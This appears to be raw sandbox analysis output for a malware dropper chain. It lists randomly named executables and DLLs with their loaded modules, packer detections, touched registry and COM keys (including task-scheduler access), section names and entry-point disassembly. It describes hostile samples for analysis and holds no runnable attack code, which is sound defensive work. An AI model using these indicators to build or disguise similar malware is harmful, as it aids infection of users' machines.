"AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "2Oo2948.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "2Oo2948.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "3CC98ik.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "3CC98ik.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "4iO097Yk.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "4iO097Yk.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "5tg3FW0.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 7744000049:T585,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "go3wz13.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "KN5EZ95.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "ny1qE70.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "1eP24vr0.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "2Oo2948.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "3CC98ik.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "4iO097Yk.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "5tg3FW0.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at A1740000 "91NL8LQzC2Bqri4.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "cmd.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "pNUNUVkvaKFYhDc.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "WREQ0KOSK9O5sPY.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "cDLTjqPjMRTDiE7.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "spSq6zjfkzXbD0K.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A0000 "ZtBZcoNCoY6ikF1.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 750A00004a:T1ccf,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "Microsoft Cabinet" and name: "sfx" "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "Microsoft Cabinet File" and name: "Archive" "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "Microsoft Linker" and name: "Linker" "go3wz13.exe" was detected as "Microsoft Cabinet" and name: "sfx" "go3wz13.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "go3wz13.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "go3wz13.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "go3wz13.exe" was detected as "Microsoft Linker" and name: "Linker" "foto3553.exe" was detected as "Microsoft Cabinet" and name: "sfx" "foto3553.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "foto3553.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "foto3553.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "foto3553.exe" was detected as "Microsoft Linker" and name: "Linker" "pNUNUVkvaKFYhDc.exe" was detected as "Microsoft Cabinet" and name: "sfx" "pNUNUVkvaKFYhDc.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "pNUNUVkvaKFYhDc.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "pNUNUVkvaKFYhDc.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "pNUNUVkvaKFYhDc.exe" was detected as "Microsoft Linker" and name: "Linker" "4iO097Yk.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4iO097Yk.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4iO097Yk.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4iO097Yk.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4iO097Yk.exe" was detected as "Microsoft Linker" and name: "Linker" "2Oo2948.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Oo2948.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Oo2948.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Oo2948.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Oo2948.exe" was detected as "Microsoft Linker" and name: "Linker" "sus.exe" was detected as "Microsoft Cabinet" and name: "sfx" "sus.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "sus.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sus.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "sus.exe" was detected as "Microsoft Linker" and name: "Linker" "3CC98ik.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3CC98ik.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3CC98ik.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3CC98ik.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3CC98ik.exe" was detected as "Microsoft Linker" and name: "Linker" "KN5EZ95.exe" was detected as "Microsoft Cabinet" and name: "sfx" "KN5EZ95.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "KN5EZ95.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "KN5EZ95.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "KN5EZ95.exe" was detected as "Microsoft Linker" and name: "Linker" "aPXj3QNJzkKIKoxT.dll" was detected as "Microsoft Cabinet" and name: "sfx" "aPXj3QNJzkKIKoxT.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "aPXj3QNJzkKIKoxT.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "aPXj3QNJzkKIKoxT.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "aPXj3QNJzkKIKoxT.dll" was detected as "Microsoft Linker" and name: "Linker" "ny1qE70.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ny1qE70.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ny1qE70.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ny1qE70.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ny1qE70.exe" was detected as "Microsoft Linker" and name: "Linker" "1eP24vr0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1eP24vr0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1eP24vr0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1eP24vr0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1eP24vr0.exe" was detected as "Microsoft Linker" and name: "Linker" "91NL8LQzC2Bqri4.exe.bin" was detected as "Microsoft Cabinet" and name: "sfx" "91NL8LQzC2Bqri4.exe.bin" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "91NL8LQzC2Bqri4.exe.bin" was detected as "Microsoft Visual C/C++" and name: "Compiler" "91NL8LQzC2Bqri4.exe.bin" was detected as "Microsoft Cabinet File" and name: "Archive" "91NL8LQzC2Bqri4.exe.bin" was detected as "Microsoft Linker" and name: "Linker" "ZtBZcoNCoY6ikF1.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ZtBZcoNCoY6ikF1.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ZtBZcoNCoY6ikF1.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ZtBZcoNCoY6ikF1.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ZtBZcoNCoY6ikF1.exe" was detected as "Microsoft Linker" and name: "Linker" "cDLTjqPjMRTDiE7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "cDLTjqPjMRTDiE7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "cDLTjqPjMRTDiE7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "cDLTjqPjMRTDiE7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "cDLTjqPjMRTDiE7.exe" was detected as "Microsoft Linker" and name: "Linker" "WREQ0KOSK9O5sPY.exe" was detected as "Microsoft Cabinet" and name: "sfx" "WREQ0KOSK9O5sPY.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "WREQ0KOSK9O5sPY.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "WREQ0KOSK9O5sPY.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "WREQ0KOSK9O5sPY.exe" was detected as "Microsoft Linker" and name: "Linker" "5tg3FW0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5tg3FW0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5tg3FW0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5tg3FW0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5tg3FW0.exe" was detected as "Microsoft Linker" and name: "Linker" "clip64_1_.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip64_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip64_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip64_1_.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip64_1_.dll" was detected as "Microsoft Linker" and name: "Linker"4b:T12a4,"5tg3FW0.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5tg3FW0.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "5tg3FW0.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "5tg3FW0.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "5tg3FW0.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "5tg3FW0.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "5tg3FW0.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "5tg3FW0.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "5tg3FW0.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "cmd.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "cmd.exe" touched "Internet Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}") "cmd.exe" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "91NL8LQzC2Bqri4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}") "91NL8LQzC2Bqri4.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "91NL8LQzC2Bqri4.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "91NL8LQzC2Bqri4.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "91NL8LQzC2Bqri4.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "91NL8LQzC2Bqri4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "91NL8LQzC2Bqri4.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "ZtBZcoNCoY6ikF1.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "ZtBZcoNCoY6ikF1.exe" touched "Shell File System Folder" (Path: "HKCU\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "ZtBZcoNCoY6ikF1.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG") "ZtBZcoNCoY6ikF1.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "explothe.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER")4c:T4d3,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "go3wz13.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "foto3553.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pNUNUVkvaKFYhDc.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "4iO097Yk.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "2Oo2948.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "sus.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "3CC98ik.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "KN5EZ95.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "aPXj3QNJzkKIKoxT.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "ny1qE70.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "1eP24vr0.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "ZtBZcoNCoY6ikF1.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "cDLTjqPjMRTDiE7.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "WREQ0KOSK9O5sPY.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "clip64_1_.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"4d:T494,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" has an executable section named ".text" "go3wz13.exe" has an executable section named ".text" "foto3553.exe" has an executable section named ".text" "pNUNUVkvaKFYhDc.exe" has an executable section named ".text" "4iO097Yk.exe" has an executable section named ".text" "2Oo2948.exe" has an executable section named ".text" "sus.exe" has an executable section named ".text" "3CC98ik.exe" has an executable section named ".text" "KN5EZ95.exe" has an executable section named ".text" "aPXj3QNJzkKIKoxT.dll" has an executable section named ".text" "ny1qE70.exe" has an executable section named ".text" "1eP24vr0.exe" has an executable section named ".text" "91NL8LQzC2Bqri4.exe.bin" has an executable section named ".text" "ZtBZcoNCoY6ikF1.exe" has an executable section named ".text" "cDLTjqPjMRTDiE7.exe" has an executable section named ".text" "WREQ0KOSK9O5sPY.exe" has an executable section named ".text" "5tg3FW0.exe" has an executable section named ".code" "5tg3FW0.exe" has an executable section named ".text" "clip64_1_.dll" has an executable section named ".text"4e:T464,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" has an writable section named ".data" "go3wz13.exe" has an writable section named ".data" "foto3553.exe" has an writable section named ".data" "pNUNUVkvaKFYhDc.exe" has an writable section named ".data" "pNUNUVkvaKFYhDc.exe" has an writable section named ".css" "4iO097Yk.exe" has an writable section named ".data" "2Oo2948.exe" has an writable section named ".data" "sus.exe" has an writable section named ".data" "sus.exe" has an writable section named ".css" "3CC98ik.exe" has an writable section named ".data" "KN5EZ95.exe" has an writable section named ".data" "aPXj3QNJzkKIKoxT.dll" has an writable section named ".data" "ny1qE70.exe" has an writable section named ".data" "1eP24vr0.exe" has an writable section named ".data" "ZtBZcoNCoY6ikF1.exe" has an writable section named ".data" "cDLTjqPjMRTDiE7.exe" has an writable section named ".data" "WREQ0KOSK9O5sPY.exe" has an writable section named ".data" "5tg3FW0.exe" has an writable section named ".data" "clip64_1_.dll" has an writable section named ".data"4f:T2610,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "go3wz13.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "foto3553.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "pNUNUVkvaKFYhDc.exe" file has an entrypoint instructions - "jmp 0x44606a,jmp 0x46db73,jmp 0x44e650,jmp 0x439717,jmp 0x4191d0,jmp 0x4b6940,jmp 0x439c86,jmp 0x46e956,jmp 0x458d2c,jmp 0x4bb769,jmp 0x4204e5,jmp 0x446c50,jmp 0x41f18b,jmp 0x456ff0,jmp 0x42f73b,jmp 0x458426,jmp 0x41e245,jmp 0x414aa0,jmp 0x4a2c18,jmp 0x414be0," "4iO097Yk.exe" file has an entrypoint instructions - "jmp 0x444998,jmp 0x45bad4,jmp 0x44cf90,jmp 0x43768c,jmp 0x419060,jmp 0x4b3bd0,jmp 0x437c2d,jmp 0x4778f4,jmp 0x45c8b7,jmp 0x4ba529,jmp 0x41dfb5,jmp 0x445580,jmp 0x455930,jmp 0x42d3e7,jmp 0x456d76,jmp 0x41d629,jmp 0x414a80,jmp 0x4a19d8,jmp 0x414bc0,jmp 0x47e621," "2Oo2948.exe" file has an entrypoint instructions - "jmp 0x4449a8,jmp 0x45bae4,jmp 0x44cfa0,jmp 0x43769c,jmp 0x419070,jmp 0x4b3be0,jmp 0x437c3d,jmp 0x477904,jmp 0x45c8c7,jmp 0x4ba539,jmp 0x41dfc5,jmp 0x445590,jmp 0x455940,jmp 0x42d3f7,jmp 0x456d86,jmp 0x41d639,jmp 0x414a80,jmp 0x4a19e8,jmp 0x414bc0,jmp 0x47e631," "sus.exe" file has an entrypoint instructions - "jmp 0x44607a,jmp 0x46db83,jmp 0x44e660,jmp 0x439727,jmp 0x4191e0,jmp 0x4b6950,jmp 0x439c96,jmp 0x46e966,jmp 0x458d3c,jmp 0x4bb779,jmp 0x4204f5,jmp 0x446c60,jmp 0x41f19b,jmp 0x457000,jmp 0x42f74b,jmp 0x458436,jmp 0x41e255,jmp 0x414aa0,jmp 0x4a2c28,jmp 0x414be0," "3CC98ik.exe" file has an entrypoint instructions - "jmp 0x444988,jmp 0x45bac4,jmp 0x44cf80,jmp 0x43767c,jmp 0x419050,jmp 0x4b3bc0,jmp 0x437c1d,jmp 0x4778e4,jmp 0x45c8a7,jmp 0x4ba519,jmp 0x41dfa5,jmp 0x445570,jmp 0x455920,jmp 0x42d3d7,jmp 0x456d66,jmp 0x41d619,jmp 0x414a80,jmp 0x4a19c8,jmp 0x414bc0,jmp 0x47e611," "KN5EZ95.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "aPXj3QNJzkKIKoxT.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1009577e,call 0x100957e0,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1009563f,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,sub esp, 0x14,and dword ptr [ebp - 0xc], 0,lea eax, [ebp - 0xc],and dword ptr [ebp - 8], 0,push eax,call dword ptr [0x100a50ec],mov eax, dword ptr [ebp - 8],xor eax, dword ptr [ebp - 0xc],mov dword ptr [ebp - 4], eax,call dword ptr [0x100a5058],xor dword ptr [ebp - 4], eax,call dword ptr [0x100a50d8],xor dword ptr [ebp - 4], eax,lea eax, [ebp - 0x14],push eax,call dword ptr [0x100a5100],mov eax, dword ptr [ebp - 0x10]," "ny1qE70.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1eP24vr0.exe" file has an entrypoint instructions - "call 0x408c61,jmp 0x4084c1,push ebp,mov ebp, esp,jmp 0x40865f,push dword ptr [ebp + 8],call 0x414403,pop ecx,test eax, eax,je 0x40866e,push dword ptr [ebp + 8],call 0x40ee0d,pop ecx,test eax, eax,je 0x408652,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x408fa2,jmp 0x408f85,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x408fbf,pop ecx,pop ebp,ret ,jmp 0x408fbf,cmp ecx, dword ptr [0x436e14],jne 0x408699,ret ,jmp 0x408fec,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "91NL8LQzC2Bqri4.exe.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "ZtBZcoNCoY6ikF1.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "cDLTjqPjMRTDiE7.exe" file has an entrypoint instructions - "call 0x412a15,jmp 0x40cbdd,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x41f058,lea edi, [ebp 